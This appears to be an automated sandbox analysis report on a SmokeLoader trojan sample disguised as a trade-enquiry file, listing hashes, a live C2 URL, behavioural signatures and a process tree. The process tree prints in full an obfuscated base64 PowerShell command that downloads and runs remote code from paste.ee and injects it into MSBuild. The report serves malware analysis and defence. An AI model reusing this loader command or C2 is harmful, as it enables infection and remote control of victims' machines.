Overview

overview

10

Static

static

8

TRD-ENQ-27...if.exe

windows7_x64

10

TRD-ENQ-27...if.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    120s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    15/09/2020, 10:41

Sharing

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General

  • Target
    TRD-ENQ-27-2447-27-SISV.pif.exe
  • Size 376KB
  • Sample200915-sdbhea3pqa
  • SHA256 fd6545dad035b74dea3eb7a3d62a3270331db331479a8194e32333abbec20da6
  • MD5 SHA1 SHA512
Score
10/10
trojanbackdoorsmokeloader

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2018

C2

  • http://vipengland.com/1/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Blacklisted process makes network request 1 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 191 IoCs
  • Suspicious use of SendNotifyMessage 191 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\TRD-ENQ-27-2447-27-SISV.pif.exe
    "C:\Users\Admin\AppData\Local\Temp\TRD-ENQ-27-2447-27-SISV.pif.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:728
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -executionpolicy bypass C:\Users\Admin\AppData\Local\Temp\test.ps1
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3172
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AUgBsAHkAcwB5ACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwB0AG0AegBpADYAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=
        3⤵
        • Blacklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3640
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
          • Maps connected drives based on registry
          • Suspicious behavior: MapViewOfSection
          PID:3468

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2968-33-0x00000000005A0000-0x00000000005A1000-memory.dmp
        Download

        memory/3172-7-0x00000000076C0000-0x00000000076C1000-memory.dmp
        Download

        memory/3172-43-0x00000000090D0000-0x00000000090D1000-memory.dmp
        Download

        memory/3172-4-0x0000000006E30000-0x0000000006E31000-memory.dmp
        Download

        memory/3172-5-0x0000000006D80000-0x0000000006D81000-memory.dmp
        Download

        memory/3172-6-0x0000000007650000-0x0000000007651000-memory.dmp
        Download

        memory/3172-8-0x0000000006FE0000-0x0000000006FE1000-memory.dmp
        Download

        memory/3172-9-0x0000000007B20000-0x0000000007B21000-memory.dmp
        Download

        memory/3172-10-0x0000000007E80000-0x0000000007E81000-memory.dmp
        Download

        memory/3172-2-0x0000000002A30000-0x0000000002A31000-memory.dmp
        Download

        memory/3172-12-0x0000000009560000-0x0000000009561000-memory.dmp
        Download

        memory/3172-13-0x0000000008AF0000-0x0000000008AF1000-memory.dmp
        Download

        memory/3172-3-0x0000000007020000-0x0000000007021000-memory.dmp
        Download

        memory/3172-47-0x00000000091C0000-0x00000000091C1000-memory.dmp
        Download

        memory/3172-45-0x00000000091D0000-0x00000000091D1000-memory.dmp
        Download

        memory/3172-44-0x0000000009230000-0x0000000009231000-memory.dmp
        Download

        memory/3172-42-0x0000000008BD0000-0x0000000008BD1000-memory.dmp
        Download

        memory/3172-35-0x0000000008FA0000-0x0000000008FD3000-memory.dmp
        Download

        memory/3172-1-0x0000000072810000-0x0000000072EFE000-memory.dmp
        Download

        memory/3468-29-0x0000000000400000-0x0000000000409000-memory.dmp
        Download

        memory/3468-31-0x0000000002970000-0x0000000002985000-memory.dmp
        Download

        memory/3640-25-0x00000000093E0000-0x00000000093E1000-memory.dmp
        Download

        memory/3640-15-0x0000000072810000-0x0000000072EFE000-memory.dmp
        Download

        memory/3640-28-0x00000000049C0000-0x00000000049CA000-memory.dmp
        Download